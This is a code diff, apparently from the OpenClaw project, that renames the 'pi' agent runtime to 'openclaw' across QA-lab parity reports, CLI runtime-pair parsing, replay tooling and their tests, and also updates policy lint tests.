@@ -1512,7 +1512,7 @@ describe("registerPolicyDoctorChecks", () => { ]); }); - it("normalizes model provider refs before deny policy comparison", async () => { + it("compares canonical model provider refs for deny policy checks", async () => { const configPath = join(workspaceDir, "openclaw.jsonc"); const cfg = { ...cfgWithPolicy(), @@ -1541,12 +1541,6 @@ describe("registerPolicyDoctorChecks", () => { const result = await runPolicyDoctorLint(ctx(configPath, cfg)); expect(result.findings).toEqual([ - expect.objectContaining({ - checkId: "policy/models-denied-provider", - severity: "error", - ocPath: "oc://openclaw.config/models/providers/aws-bedrock", - requirement: "oc://policy.jsonc/models/providers/deny", - }), expect.objectContaining({ checkId: "policy/models-denied-provider", severity: "error", @@ -1556,7 +1550,7 @@ describe("registerPolicyDoctorChecks", () => { ]); }); - it("normalizes model provider refs before allow policy comparison", async () => { + it("compares canonical model provider refs for allow policy checks", async () => { const configPath = join(workspaceDir, "openclaw.jsonc"); const cfg = { ...cfgWithPolicy(), @@ -1584,7 +1578,14 @@ describe("registerPolicyDoctorChecks", () => { const result = await runPolicyDoctorLint(ctx(configPath, cfg)); - expect(result.findings).toEqual([]); + expect(result.findings).toEqual([ + expect.objectContaining({ + checkId: "policy/models-unapproved-provider", + severity: "error", + ocPath: "oc://openclaw.config/models/providers/aws-bedrock", + requirement: "oc://policy.jsonc/models/providers/allow", + }), + ]); }); it("reports model refs outside the policy allowlist", async () => { diff --git a/extensions/qa-lab/src/agentic-parity-report.test.ts b/extensions/qa-lab/src/agentic-parity-report.test.ts index 9c9c3d87f1f..1587fc5b89e 100644 --- a/extensions/qa-lab/src/agentic-parity-report.test.ts +++ b/extensions/qa-lab/src/agentic-parity-report.test.ts @@ -43,8 +43,8 @@ function makeRuntimeParitySummary(): QaRuntimeParitySuiteSummary { scenarioId: "approval-turn-tool-followthrough", drift: "none", cells: { - pi: { - runtime: "pi", + openclaw: { + runtime: "openclaw", transcriptBytes: '{"role":"assistant"}\n', toolCalls: [{ tool: "read_file", argsHash: "a", resultHash: "r" }], finalText: "done", @@ -73,8 +73,8 @@ function makeRuntimeParitySummary(): QaRuntimeParitySuiteSummary { drift: "tool-call-shape", driftDetails: "tool call 1 differs", cells: { - pi: { - runtime: "pi", + openclaw: { + runtime: "openclaw", transcriptBytes: '{"role":"assistant"}\n', toolCalls: [{ tool: "read_file", argsHash: "a", resultHash: "r" }], finalText: "done", @@ -103,7 +103,7 @@ function makeRuntimeParitySummary(): QaRuntimeParitySuiteSummary { run: { providerMode: "mock-openai", primaryModel: "openai/gpt-5.5", - runtimePair: ["pi", "codex"], + runtimePair: ["openclaw", "codex"], }, }; } @@ -800,7 +800,7 @@ status=done`, comparedAt: "2026-05-10T00:00:00.000Z", }); - expect(report.runtimePair).toEqual(["pi", "codex"]); + expect(report.runtimePair).toEqual(["openclaw", "codex"]); expect(report.pass).toBe(true); expect(report.driftCounts.none).toBe(1); expect(report.driftCounts["tool-call-shape"]).toBe(1); @@ -838,7 +838,11 @@ status=done`, if (!scenario?.runtimeParity) { throw new Error("runtime parity fixture missing"); } - scenario.runtimeParity.cells.pi.usage = { inputTokens: 0, outputTokens: 0, totalTokens: 0 }; + scenario.runtimeParity.cells.openclaw.usage = { + inputTokens: 0, + outputTokens: 0, + totalTokens: 0, + }; scenario.runtimeParity.cells.codex.usage = { inputTokens: 0, outputTokens: 0, @@ -853,7 +857,7 @@ status=done`, expect(report.pass).toBe(false); expect(report.failedScenarios).toBe(1); expect(report.failures).toContain( - "Approval turn tool followthrough missing live assistant-message usage (pi=0, codex=0).", + "Approval turn tool followthrough missing live assistant-message usage (openclaw=0, codex=0).", ); expect(report.scenarios[0]?.status).toBe("fail"); }); @@ -866,7 +870,7 @@ status=done`, }), ); - expect(report).toContain("# OpenClaw Runtime Parity Report — pi vs codex"); + expect(report).toContain("# OpenClaw Runtime Parity Report — openclaw vs codex"); expect(report).toContain("| Tool-call-shape drift | 1 |"); expect(report).toContain("### Compaction retry after mutating tool"); expect(report).toContain("- drift: tool-call-shape"); diff --git a/extensions/qa-lab/src/agentic-parity-report.ts b/extensions/qa-lab/src/agentic-parity-report.ts index d73251f65af..f220ded0aa9 100644 --- a/extensions/qa-lab/src/agentic-parity-report.ts +++ b/extensions/qa-lab/src/agentic-parity-report.ts @@ -58,11 +58,11 @@ type QaRuntimeParityScenarioReport = { status: "pass" | "fail"; drift: RuntimeParityDrift | "missing"; driftDetails?: string; - piStatus: "pass" | "fail" | "missing"; + openclawStatus: "pass" | "fail" | "missing"; codexStatus: "pass" | "fail" | "missing"; - piTokens: number; + openclawTokens: number; codexTokens: number; - piToolCalls: number; + openclawToolCalls: number; codexToolCalls: number; }; @@ -253,7 +253,9 @@ function isLiveProviderMode(providerMode: string | undefined) { function describeLiveUsageFailure(scenarioName: string, scenario: QaRuntimeParityScenarioReport) { const missing = [ - scenario.piTokens > 0 ? undefined : `${scenario.piStatus === "pass" ? "pi" : "pi failed"}=0`, + scenario.openclawTokens > 0 + ? undefined + : `${scenario.openclawStatus === "pass" ? "openclaw" : "openclaw failed"}=0`, scenario.codexTokens > 0 ? undefined : `${scenario.codexStatus === "pass" ? "codex" : "codex failed"}=0`, @@ -270,7 +272,7 @@ function normalizeRuntimePair( if (pair?.[0] && pair?.[1]) { return pair; } - return ["pi", "codex"]; + return ["openclaw", "codex"]; } function requiredCoverageStatus( @@ -634,18 +636,18 @@ export function buildQaRuntimeParityReport(params: { status: scenario.status === "pass" ? "pass" : "fail", drift: "missing", driftDetails: scenario.details, - piStatus: "missing", + openclawStatus: "missing", codexStatus: "missing", - piTokens: 0, + openclawTokens: 0, codexTokens: 0, - piToolCalls: 0, + openclawToolCalls: 0, codexToolCalls: 0, } satisfies QaRuntimeParityScenarioReport; } driftCounts[parity.drift] += 1; - const piCell = parity.cells.pi; + const openclawCell = parity.cells.openclaw; const codexCell = parity.cells.codex; - const piStatus = runtimeParityCellStatus(piCell); + const openclawStatus = runtimeParityCellStatus(openclawCell); const codexStatus = runtimeParityCellStatus(codexCell); const parityStatus = isRuntimeParityResultPass(parity) ? "pass" : "fail"; const reportScenario = { @@ -653,11 +655,11 @@ export function buildQaRuntimeParityReport(params: { status: parityStatus, drift: parity.drift, driftDetails: parity.driftDetails, - piStatus, + openclawStatus, codexStatus, - piTokens: piCell.usage.totalTokens, + openclawTokens: openclawCell.usage.totalTokens, codexTokens: codexCell.usage.totalTokens, - piToolCalls: piCell.toolCalls.length, + openclawToolCalls: openclawCell.toolCalls.length, codexToolCalls: codexCell.toolCalls.length, } satisfies QaRuntimeParityScenarioReport; if (parityStatus === "fail") { @@ -737,7 +739,7 @@ export function renderQaRuntimeParityMarkdownReport(report: QaRuntimeParityRepor lines.push(`- status: ${scenario.status}`); lines.push(`- drift: ${scenario.drift}`); lines.push( - `- pi: ${scenario.piStatus} (${scenario.piToolCalls} tool calls, ${scenario.piTokens} tokens)`, + `- openclaw: ${scenario.openclawStatus} (${scenario.openclawToolCalls} tool calls, ${scenario.openclawTokens} tokens)`, ); lines.push( `- codex: ${scenario.codexStatus} (${scenario.codexToolCalls} tool calls, ${scenario.codexTokens} tokens)`, diff --git a/extensions/qa-lab/src/cli.runtime.test.ts b/extensions/qa-lab/src/cli.runtime.test.ts index 7c78627955a..9bf69827d69 100644 --- a/extensions/qa-lab/src/cli.runtime.test.ts +++ b/extensions/qa-lab/src/cli.runtime.test.ts @@ -273,7 +273,7 @@ describe("qa cli runtime", () => { repoRoot: "/tmp/openclaw-repo", providerMode: "mock-openai", scenarioIds: ["approval-turn-tool-followthrough"], - runtimePair: "pi,codex", + runtimePair: "openclaw,codex", }); expect(runQaSuiteFromRuntime).toHaveBeenCalledWith({ @@ -285,10 +285,22 @@ describe("qa cli runtime", () => { alternateModel: undefined, fastMode: undefined, scenarioIds: ["approval-turn-tool-followthrough"], - runtimePair: ["pi", "codex"], + runtimePair: ["openclaw", "codex"], }); }); + it("rejects unknown runtime-pair ids at the CLI boundary", async () => { + await expect( + runQaSuiteCommand({ + repoRoot: "/tmp/openclaw-repo", + providerMode: "mock-openai", + scenarioIds: ["approval-turn-tool-followthrough"], + runtimePair: "legacy-runtime,codex", + }), + ).rejects.toThrow('--runtime-pair only supports "openclaw" and "codex".'); + expect(runQaSuiteFromRuntime).not.toHaveBeenCalled(); + }); + it("drops blank suite model refs so provider defaults apply", async () => { await runQaSuiteCommand({ repoRoot: "/tmp/openclaw-repo", @@ -924,8 +936,8 @@ describe("qa cli runtime", () => { drift: "tool-call-shape", driftDetails: "tool call 1 differs", cells: { - pi: { - runtime: "pi", + openclaw: { + runtime: "openclaw", transcriptBytes: '{"role":"assistant"}\n', toolCalls: [{ tool: "read_file", argsHash: "a", resultHash: "r" }], finalText: "done", @@ -951,7 +963,7 @@ describe("qa cli runtime", () => { run: { providerMode: "mock-openai", primaryModel: "openai/gpt-5.5", - runtimePair: ["pi", "codex"], + runtimePair: ["openclaw", "codex"], }, }), "utf8", @@ -994,8 +1006,8 @@ describe("qa cli runtime", () => { scenarioId: "runtime-tool-fs-read", drift: "none", cells: { - pi: { - runtime: "pi", + openclaw: { + runtime: "openclaw", transcriptBytes: '{"role":"assistant"}\n', toolCalls: [{ tool: "fs.read", argsHash: "a", resultHash: "r" }], finalText: "done", @@ -1024,7 +1036,7 @@ describe("qa cli runtime", () => { run: { providerMode: "live-frontier", primaryModel: "openai/gpt-5.5", - runtimePair: ["pi", "codex"], + runtimePair: ["openclaw", "codex"], }, }), "utf8", @@ -1121,7 +1133,7 @@ describe("qa cli runtime", () => { repoRoot, transcripts: path.resolve("qa/scenarios/jsonl-replay"), outputDir: "jsonl-output", - runtimePair: "pi,codex", + runtimePair: "openclaw,codex", }); const report = await fs.readFile( @@ -1135,7 +1147,7 @@ describe("qa cli runtime", () => { ), ) as { transcripts?: Array<{ userTurnCount?: number }> }; - expect(report).toContain("# OpenClaw JSONL Replay Report - pi vs codex"); + expect(report).toContain("# OpenClaw JSONL Replay Report - openclaw vs codex"); expect(report).toContain("| plan-mode-boundaries.jsonl | 3 | | none, none, none |"); expect(summary.transcripts).toHaveLength(7); } finally { @@ -1168,8 +1180,8 @@ describe("qa cli runtime", () => { drift: "tool-call-shape", driftDetails: "Codex emitted no web_search call", cells: { - pi: { - runtime: "pi", + openclaw: { + runtime: "openclaw", transcriptBytes: "", toolCalls: [{ tool: "web_search", argsHash: "a", resultHash: "r" }], finalText: "", @@ -1190,7 +1202,7 @@ describe("qa cli runtime", () => { }, }, ], - run: { runtimePair: ["pi", "codex"] }, + run: { runtimePair: ["openclaw", "codex"] }, }), "utf8", ); @@ -1376,14 +1388,14 @@ describe("qa cli runtime", () => { runner: "multipass", providerMode: "mock-openai", scenarioIds: ["approval-turn-tool-followthrough"], - runtimePair: "codex,pi", + runtimePair: "codex,openclaw", allowFailures: true, }); expect(runQaMultipass).toHaveBeenCalledWith( expect.objectContaining({ repoRoot: path.resolve("/tmp/openclaw-repo"), - runtimePair: ["pi", "codex"], + runtimePair: ["openclaw", "codex"], }), ); }); diff --git a/extensions/qa-lab/src/cli.runtime.ts b/extensions/qa-lab/src/cli.runtime.ts index db6bc12f3ac..27cebf040a8 100644 --- a/extensions/qa-lab/src/cli.runtime.ts +++ b/extensions/qa-lab/src/cli.runtime.ts @@ -169,25 +169,33 @@ function normalizeQaOptionalModelRef(input: string | undefined) { return model && model.length > 0 ? model : undefined; } +function normalizeQaRuntimeId(value: string): RuntimeId | undefined { + if (value === "openclaw" || value === "codex") { + return value; + } + return undefined; +} + function parseQaRuntimePair(value: string | undefined): [RuntimeId, RuntimeId] | undefined { if (!value?.trim()) { return undefined; } - const parts = value + const runtimes = value .split(",") .map((part) => part.trim().toLowerCase()) - .filter(Boolean); - if (parts.length !== 2) { - throw new Error('--runtime-pair must use exactly two runtimes, e.g. "pi,codex".'); + .filter(Boolean) + .map(normalizeQaRuntimeId); + if (runtimes.length !== 2) { + throw new Error('--runtime-pair must use exactly two runtimes, e.g. "openclaw,codex".'); } - const [left, right] = parts; - if ((left !== "pi" && left !== "codex") || (right !== "pi" && right !== "codex")) { - throw new Error('--runtime-pair only supports "pi" and "codex".'); + const [left, right] = runtimes; + if (!left || !right) { + throw new Error('--runtime-pair only supports "openclaw" and "codex".'); } if (left === right) { throw new Error("--runtime-pair must compare two different runtimes."); } - return ["pi", "codex"]; + return ["openclaw", "codex"]; } function parseQaRuntimeParityTierFilters(input: string[] | undefined): QaRuntimeParityTier[] { @@ -913,9 +921,9 @@ export async function runQaJsonlReplayCommand(opts: { providerMode?: QaProviderModeInput; }) { const repoRoot = path.resolve(opts.repoRoot ?? process.cwd()); - const runtimePair = parseQaRuntimePair(opts.runtimePair) ?? ["pi", "codex"]; - if (runtimePair[0] !== "pi" || runtimePair[1] !== "codex") { - throw new Error('--runtime-pair for jsonl-replay must be "pi,codex".'); + const runtimePair = parseQaRuntimePair(opts.runtimePair) ?? ["openclaw", "codex"]; + if (runtimePair[0] !== "openclaw" || runtimePair[1] !== "codex") { + throw new Error('--runtime-pair for jsonl-replay must be "openclaw,codex".'); } const providerMode = normalizeQaProviderMode(opts.providerMode ?? "mock-openai"); if (providerMode !== "mock-openai") { diff --git a/extensions/qa-lab/src/cli.test.ts b/extensions/qa-lab/src/cli.test.ts index e38395a26fa..4c764cded8f 100644 --- a/extensions/qa-lab/src/cli.test.ts +++ b/extensions/qa-lab/src/cli.test.ts @@ -522,7 +522,7 @@ describe("qa cli registration", () => { "--transcripts", "qa/scenarios/jsonl-replay", "--runtime-pair", - "pi,codex", + "openclaw,codex", "--provider-mode", "mock-openai", "--output-dir", @@ -532,7 +532,7 @@ describe("qa cli registration", () => { expect(runQaJsonlReplayCommand).toHaveBeenCalledWith({ repoRoot: "/tmp/openclaw-repo", transcripts: "qa/scenarios/jsonl-replay", - runtimePair: "pi,codex", + runtimePair: "openclaw,codex", providerMode: "mock-openai", outputDir: ".artifacts/qa-e2e/jsonl-replay-test", }); diff --git a/extensions/qa-lab/src/cli.ts b/extensions/qa-lab/src/cli.ts index d34c5460831..e387360e306 100644 --- a/extensions/qa-lab/src/cli.ts +++ b/extensions/qa-lab/src/cli.ts @@ -319,7 +319,7 @@ export function registerQaLabCli(program: Command) { .option("--cpus ", "Multipass vCPU count", (value: string) => Number(value)) .option("--memory ", "Multipass memory size") .option("--disk ", "Multipass disk size") - .option("--runtime-pair ", "Run each scenario under both runtimes, e.g. pi,codex") + .option("--runtime-pair ", "Run each scenario under both runtimes, e.g. openclaw,codex") .option( "--runtime-parity-tier ", "Add scenarios tagged with runtimeParityTier (standard, optional, live-only, soak; repeatable or comma-separated)", @@ -486,7 +486,7 @@ export function registerQaLabCli(program: Command) { "Directory of curated JSONL transcripts", "qa/scenarios/jsonl-replay", ) - .option("--runtime-pair ", "Runtime pair label, e.g. pi,codex", "pi,codex") + .option("--runtime-pair ", "Runtime pair label, e.g. openclaw,codex", "openclaw,codex") .option( "--provider-mode ", `Provider mode (${formatQaProviderModeHelp()})`, diff --git a/extensions/qa-lab/src/codex-plugin-lifecycle.test.ts b/extensions/qa-lab/src/codex-plugin-lifecycle.test.ts index ab6bfdb0d48..0fc55af4d94 100644 --- a/extensions/qa-lab/src/codex-plugin-lifecycle.test.ts +++ b/extensions/qa-lab/src/codex-plugin-lifecycle.test.ts @@ -155,18 +155,20 @@ describe("codex plugin lifecycle: doctor migration safety matrix", () => { config: {}, }, { - name: "mixed profile with defaults pi pin", + name: "mixed profile with defaults OpenClaw pin", profileShape: "mixed" as const, - config: { agents: { defaults: { agentRuntime: { id: "pi" } } } }, + config: { agents: { defaults: { agentRuntime: { id: "openclaw" } } } }, + expectedRemovedRuntimePins: ["agentRuntime.id=openclaw"], }, { - name: "mixed profile with main-agent pi pin", + name: "mixed profile with main-agent OpenClaw pin", profileShape: "mixed" as const, - config: { agents: { list: { main: { agentRuntime: { id: "pi" } } } } }, + config: { agents: { list: { main: { agentRuntime: { id: "openclaw" } } } } }, + expectedRemovedRuntimePins: ["agentRuntime.id=openclaw"], }, ])( - "keeps codex auth and strips stale pi runtime pins for $name", - async ({ profileShape, config }) => { + "keeps codex auth and strips stale OpenClaw runtime pins for $name", + async ({ profileShape, config, expectedRemovedRuntimePins = [] }) => { const agentDir = await createAgentDir("qa-codex-doctor-matrix-"); await seedCodexPluginAt("current", agentDir); await seedAuthProfiles(profileShape, agentDir); @@ -182,9 +184,7 @@ describe("codex plugin lifecycle: doctor migration safety matrix", () => { expect(result.status).toBe("ready"); expect(result.selectedAuthProfileId).toBe(QA_CODEX_OAUTH_PROFILE_ID); expect(result.tokenRoute).toBe("codex-oauth"); - expect(result.removedRuntimePins).toEqual( - Object.keys(config).length === 0 ? [] : ["agentRuntime.id=pi"], - ); + expect(result.removedRuntimePins).toEqual(expectedRemovedRuntimePins); }, ); }); diff --git a/extensions/qa-lab/src/codex-plugin.fixture.ts b/extensions/qa-lab/src/codex-plugin.fixture.ts index 8c78d9810ce..19ac00d6d62 100644 --- a/extensions/qa-lab/src/codex-plugin.fixture.ts +++ b/extensions/qa-lab/src/codex-plugin.fixture.ts @@ -118,7 +118,7 @@ function formatPinnedNewRemediation(pluginVersion: string, hostVersion: string) return `Codex plugin version ${pluginVersion} requires a newer OpenClaw host than ${hostVersion}. Upgrade OpenClaw or install a codex plugin version pinned to ${hostVersion}.`; } -function collectStalePiRuntimePins(config: unknown): string[] { +function collectStaleLegacyRuntimePins(config: unknown): string[] { if (!config || typeof config !== "object") { return []; } @@ -128,11 +128,17 @@ function collectStalePiRuntimePins(config: unknown): string[] { list?: Record; }; }; - const hasDefaultsPin = root.agents?.defaults?.agentRuntime?.id === "pi"; - const hasAgentPin = Object.values(root.agents?.list ?? {}).some( - (entry) => entry.agentRuntime?.id === "pi", - ); - return hasDefaultsPin || hasAgentPin ? ["agentRuntime.id=pi"] : []; + const markers = new Set(); + const collectRuntimePin = (value: unknown) => { + if (value === "openclaw") { + markers.add(`agentRuntime.id=${value}`); + } + }; + collectRuntimePin(root.agents?.defaults?.agentRuntime?.id); + for (const entry of Object.values(root.agents?.list ?? {})) { + collectRuntimePin(entry.agentRuntime?.id); + } + return [...markers].toSorted(); } export async function seedCodexPluginAt( @@ -189,7 +195,7 @@ export function evaluateCodexPluginLifecycle(params: { const selectedAuthProfileId = authSelection.status === "ready" ? authSelection.profileId : undefined; const tokenRoute = authSelection.status === "ready" ? "codex-oauth" : "unavailable"; - const removedRuntimePins = params.doctorFix ? collectStalePiRuntimePins(params.config) : []; + const removedRuntimePins = params.doctorFix ? collectStaleLegacyRuntimePins(params.config) : []; if (!params.plugin.installed) { return { diff --git a/extensions/qa-lab/src/confidence-report.ts b/extensions/qa-lab/src/confidence-report.ts index 285a6606baa..d28c8373731 100644 --- a/extensions/qa-lab/src/confidence-report.ts +++ b/extensions/qa-lab/src/confidence-report.ts @@ -955,7 +955,7 @@ function syntheticToolCall(overrides: Partial = {}): Runt async function detectRuntimeDrift(params: { scenarioId: string; - pi: RuntimeParityCell; + openclaw: RuntimeParityCell; codex: RuntimeParityCell; expectedDrift: RuntimeParityDrift; }): Promise { @@ -963,7 +963,7 @@ async function detectRuntimeDrift(params: { scenarioId: params.scenarioId, runCell: async (runtime) => ({ scenarioStatus: "pass", - cell: runtime === "pi" ? params.pi : params.codex, + cell: runtime === "openclaw" ? params.openclaw : params.codex, }), }); return result.drift === params.expectedDrift; @@ -1008,7 +1008,7 @@ function detectHarnessDrift(params: { }): boolean { const left = buildHarnessParityCell({ variant: { id: "left", label: "Left" }, - cell: syntheticRuntimeCell("pi", { systemPromptReport: params.leftReport }), + cell: syntheticRuntimeCell("openclaw", { systemPromptReport: params.leftReport }), tokenUsageSource: "mock-estimate", }); const right = buildHarnessParityCell({ @@ -1026,7 +1026,7 @@ function detectHarnessDrift(params: { } function detectTokenEfficiencyRegression(): boolean { - const pi = syntheticRuntimeCell("pi", { + const openclaw = syntheticRuntimeCell("openclaw", { usage: { inputTokens: 100, outputTokens: 20, totalTokens: 120 }, }); const codex = syntheticRuntimeCell("codex", { @@ -1034,14 +1034,14 @@ function detectTokenEfficiencyRegression(): boolean { }); const runtimeParity: RuntimeParityResult = { scenarioId: "token-efficiency-regression", - cells: { pi, codex }, + cells: { openclaw, codex }, drift: "none", }; const report = buildTokenEfficiencyReport({ summary: { run: { providerMode: "live-frontier", - runtimePair: ["pi", "codex"], + runtimePair: ["openclaw", "codex"], }, scenarios: [ { @@ -1127,13 +1127,13 @@ export async function buildQaConfidenceSelfTestSummary( }); const runtimeToolCallDropDetected = await detectRuntimeDrift({ scenarioId: "runtime-tool-call-drop", - pi: syntheticRuntimeCell("pi", { toolCalls: [syntheticToolCall()] }), + openclaw: syntheticRuntimeCell("openclaw", { toolCalls: [syntheticToolCall()] }), codex: syntheticRuntimeCell("codex", { toolCalls: [] }), expectedDrift: "tool-call-shape", }); const toolResultMismatchDetected = await detectRuntimeDrift({ scenarioId: "tool-result-mismatch", - pi: syntheticRuntimeCell("pi", { toolCalls: [syntheticToolCall()] }), + openclaw: syntheticRuntimeCell("openclaw", { toolCalls: [syntheticToolCall()] }), codex: syntheticRuntimeCell("codex", { toolCalls: [syntheticToolCall({ resultHash: "result-b" })], }), @@ -1141,7 +1141,7 @@ export async function buildQaConfidenceSelfTestSummary( }); const failureModeDriftDetected = await detectRuntimeDrift({ scenarioId: "failure-mode-drift", - pi: syntheticRuntimeCell("pi"), + openclaw: syntheticRuntimeCell("openclaw"), codex: syntheticRuntimeCell("codex", { transportErrorClass: "synthetic-transport" }), expectedDrift: "failure-mode", }); diff --git a/extensions/qa-lab/src/harness-parity.test.ts b/extensions/qa-lab/src/harness-parity.test.ts index 523108be120..a332cfd14ba 100644 --- a/extensions/qa-lab/src/harness-parity.test.ts +++ b/extensions/qa-lab/src/harness-parity.test.ts @@ -8,8 +8,8 @@ import { import type { RuntimeId } from "./runtime-parity.js"; import type { RuntimeParityComparisonMode } from "./runtime-tool-metadata.js"; -const LEFT: HarnessVariant = { id: "left", label: "Left", runtime: "pi" }; -const RIGHT: HarnessVariant = { id: "right", label: "Right", runtime: "pi" }; +const LEFT: HarnessVariant = { id: "left", label: "Left", runtime: "openclaw" }; +const RIGHT: HarnessVariant = { id: "right", label: "Right", runtime: "openclaw" }; const BASE_PROMPT_REPORT = { systemPrompt: { @@ -63,12 +63,12 @@ function classify( scenarioId: "scenario", left: buildHarnessParityCell({ variant: LEFT, - cell: makeCell("pi", left), + cell: makeCell("openclaw", left), tokenUsageSource: "live-usage", }), right: buildHarnessParityCell({ variant: RIGHT, - cell: makeCell("pi", right), + cell: makeCell("openclaw", right), tokenUsageSource: "live-usage", }), ...(comparisonMode ? { comparisonMode } : {}), @@ -266,7 +266,7 @@ describe("harness parity", () => { }); it("labels mock token estimates separately from live usage", () => { - const sourceCell = makeCell("pi", { + const sourceCell = makeCell("openclaw", { usage: { inputTokens: 0, outputTokens: 0, totalTokens: 0 }, }); const cell = buildHarnessParityCell({ diff --git a/extensions/qa-lab/src/jsonl-replay.test.ts b/extensions/qa-lab/src/jsonl-replay.test.ts index 0704d4101b8..68075b429c9 100644 --- a/extensions/qa-lab/src/jsonl-replay.test.ts +++ b/extensions/qa-lab/src/jsonl-replay.test.ts @@ -103,7 +103,7 @@ describe("jsonl replay", () => { return { scenarioStatus: "pass", cell: makeCell(runtime, { - toolCalls: [makeToolCall(runtime === "pi" ? {} : { argsHash: "args-codex" })], + toolCalls: [makeToolCall(runtime === "openclaw" ? {} : { argsHash: "args-codex" })], }), }; } @@ -111,7 +111,7 @@ describe("jsonl replay", () => { return { scenarioStatus: "pass", cell: makeCell(runtime, { - finalText: runtime === "pi" ? "pi wording" : "codex wording", + finalText: runtime === "openclaw" ? "openclaw wording" : "codex wording", }), }; } @@ -124,7 +124,7 @@ describe("jsonl replay", () => { const result = await runJsonlReplay( { directory: transcriptDir, - runtimePair: ["pi", "codex"], + runtimePair: ["openclaw", "codex"], providerMode: "mock-openai", }, { runCell }, @@ -138,7 +138,7 @@ describe("jsonl replay", () => { firstDriftAtTurn: 2, }), ); - expect(result.transcripts[0]?.cells.pi).toHaveLength(3); + expect(result.transcripts[0]?.cells.openclaw).toHaveLength(3); expect(result.transcripts[0]?.cells.codex).toHaveLength(3); }); @@ -148,7 +148,7 @@ describe("jsonl replay", () => { const result = await runJsonlReplay( { directory: fixtureDir, - runtimePair: ["pi", "codex"], + runtimePair: ["openclaw", "codex"], providerMode: "mock-openai", }, { runCell: createMockJsonlReplayCellRunner() }, @@ -161,7 +161,7 @@ describe("jsonl replay", () => { renderJsonlReplayMarkdownReport({ generatedAt: "2026-05-10T00:00:00.000Z", providerMode: "mock-openai", - runtimePair: ["pi", "codex"], + runtimePair: ["openclaw", "codex"], transcripts: result.transcripts, }), ).toContain("| plan-mode-boundaries.jsonl | 3 | | none, none, none |"); diff --git a/extensions/qa-lab/src/jsonl-replay.ts b/extensions/qa-lab/src/jsonl-replay.ts index f11dbcd74dd..ca0b8f3d998 100644 --- a/extensions/qa-lab/src/jsonl-replay.ts +++ b/extensions/qa-lab/src/jsonl-replay.ts @@ -1,9 +1,5 @@ import fs from "node:fs/promises"; import path from "node:path"; -import { - isRecord, - normalizeOptionalString as readString, -} from "openclaw/plugin-sdk/string-coerce-runtime"; import { runRuntimeParityScenario, type RuntimeId, @@ -14,7 +10,7 @@ import { export type JsonlReplayInput = { directory: string; - runtimePair: ["pi", "codex"]; + runtimePair: ["openclaw", "codex"]; providerMode: "mock-openai" | "live-frontier"; }; @@ -37,7 +33,7 @@ export type JsonlReplayResult = { transcripts: Array<{ transcriptPath: string; userTurnCount: number; - cells: { pi: RuntimeParityCell[]; codex: RuntimeParityCell[] }; + cells: { openclaw: RuntimeParityCell[]; codex: RuntimeParityCell[] }; drift: Array; firstDriftAtTurn?: number; }>; @@ -54,6 +50,14 @@ export type JsonlReplayMarkdownReport = { transcripts: JsonlReplayResult["transcripts"]; }; +function isRecord(value: unknown): value is Record { + return Boolean(value) && typeof value === "object" && !Array.isArray(value); +} + +function readString(value: unknown): string | undefined { + return typeof value === "string" && value.trim().length > 0 ? value.trim() : undefined; +} + function readReplayMessage(record: Record): Record | undefined { if (isRecord(record.message)) { return record.message; @@ -162,7 +166,7 @@ function defaultRunCell(): Promise { } function assertSupportedRuntimePair(runtimePair: JsonlReplayInput["runtimePair"]) { - if (runtimePair[0] !== "pi" || runtimePair[1] !== "codex") { + if (runtimePair[0] !== "openclaw" || runtimePair[1] !== "codex") { throw new Error(`unsupported jsonl replay runtime pair: ${runtimePair.join(",")}`); } } @@ -199,8 +203,8 @@ export async function runJsonlReplay( for (const transcriptPath of transcriptPaths) { const transcriptBytes = await fs.readFile(transcriptPath, "utf8"); const turns = extractJsonlReplayUserTurns(transcriptBytes); - const cells: { pi: RuntimeParityCell[]; codex: RuntimeParityCell[] } = { - pi: [], + const cells: { openclaw: RuntimeParityCell[]; codex: RuntimeParityCell[] } = { + openclaw: [], codex: [], }; const drift: Array = []; @@ -218,7 +222,7 @@ export async function runJsonlReplay( providerMode: input.providerMode, }), }); - cells.pi.push(parity.cells.pi); + cells.openclaw.push(parity.cells.openclaw); cells.codex.push(parity.cells.codex); drift.push(parity.drift); if (firstDriftAtTurn === undefined && parity.drift !== "none") { diff --git a/extensions/qa-lab/src/live-transports/telegram/telegram-live.runtime.test.ts b/extensions/qa-lab/src/live-transports/telegram/telegram-live.runtime.test.ts index 5fab77cfc89..938d4aa32b1 100644 --- a/extensions/qa-lab/src/live-transports/telegram/telegram-live.runtime.test.ts +++ b/extensions/qa-lab/src/live-transports/telegram/telegram-live.runtime.test.ts @@ -199,7 +199,9 @@ describe("telegram live qa runtime", () => { }); expect(next.agents?.defaults?.skipBootstrap).toBe(true); - expect(next.agents?.defaults?.models?.["openai/gpt-5.5"]?.agentRuntime).toEqual({ id: "pi" }); + expect(next.agents?.defaults?.models?.["openai/gpt-5.5"]?.agentRuntime).toEqual({ + id: "openclaw", + }); expect(next.plugins?.allow).toContain("telegram"); expect(next.plugins?.entries?.telegram).toEqual({ enabled: true }); expect(next.messages?.groupChat?.visibleReplies).toBe("automatic"); diff --git a/extensions/qa-lab/src/live-transports/telegram/telegram-live.runtime.ts b/extensions/qa-lab/src/live-transports/telegram/telegram-live.runtime.ts index f221e162b05..5649869a083 100644 --- a/extensions/qa-lab/src/live-transports/telegram/telegram-live.runtime.ts +++ b/extensions/qa-lab/src/live-transports/telegram/telegram-live.runtime.ts @@ -720,7 +720,7 @@ function buildTelegramQaConfig( ...baseCfg.agents?.defaults?.models, "openai/gpt-5.5": { ...baseCfg.agents?.defaults?.models?.["openai/gpt-5.5"], - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, }, }, skipBootstrap: true, diff --git a/extensions/qa-lab/src/multipass.runtime.test.ts b/extensions/qa-lab/src/multipass.runtime.test.ts index 30938a0852e..015255e87cb 100644 --- a/extensions/qa-lab/src/multipass.runtime.test.ts +++ b/extensions/qa-lab/src/multipass.runtime.test.ts @@ -150,11 +150,11 @@ describe("qa multipass runtime", () => { const plan = createQaMultipassPlan({ repoRoot: process.cwd(), outputDir: path.join(process.cwd(), ".artifacts", "qa-e2e", "multipass-runtime-pair-test"), - runtimePair: ["pi", "codex"], + runtimePair: ["openclaw", "codex"], scenarioIds: ["channel-chat-baseline"], }); - expect(plan.qaCommand).toEqual(expect.arrayContaining(["--runtime-pair", "pi,codex"])); + expect(plan.qaCommand).toEqual(expect.arrayContaining(["--runtime-pair", "openclaw,codex"])); }); it("redacts forwarded live secrets in the persisted artifact script", () => { diff --git a/extensions/qa-lab/src/providers/live-frontier/auth.ts b/extensions/qa-lab/src/providers/live-frontier/auth.ts index 95bc8fc7fdc..9154e6c10d2 100644 --- 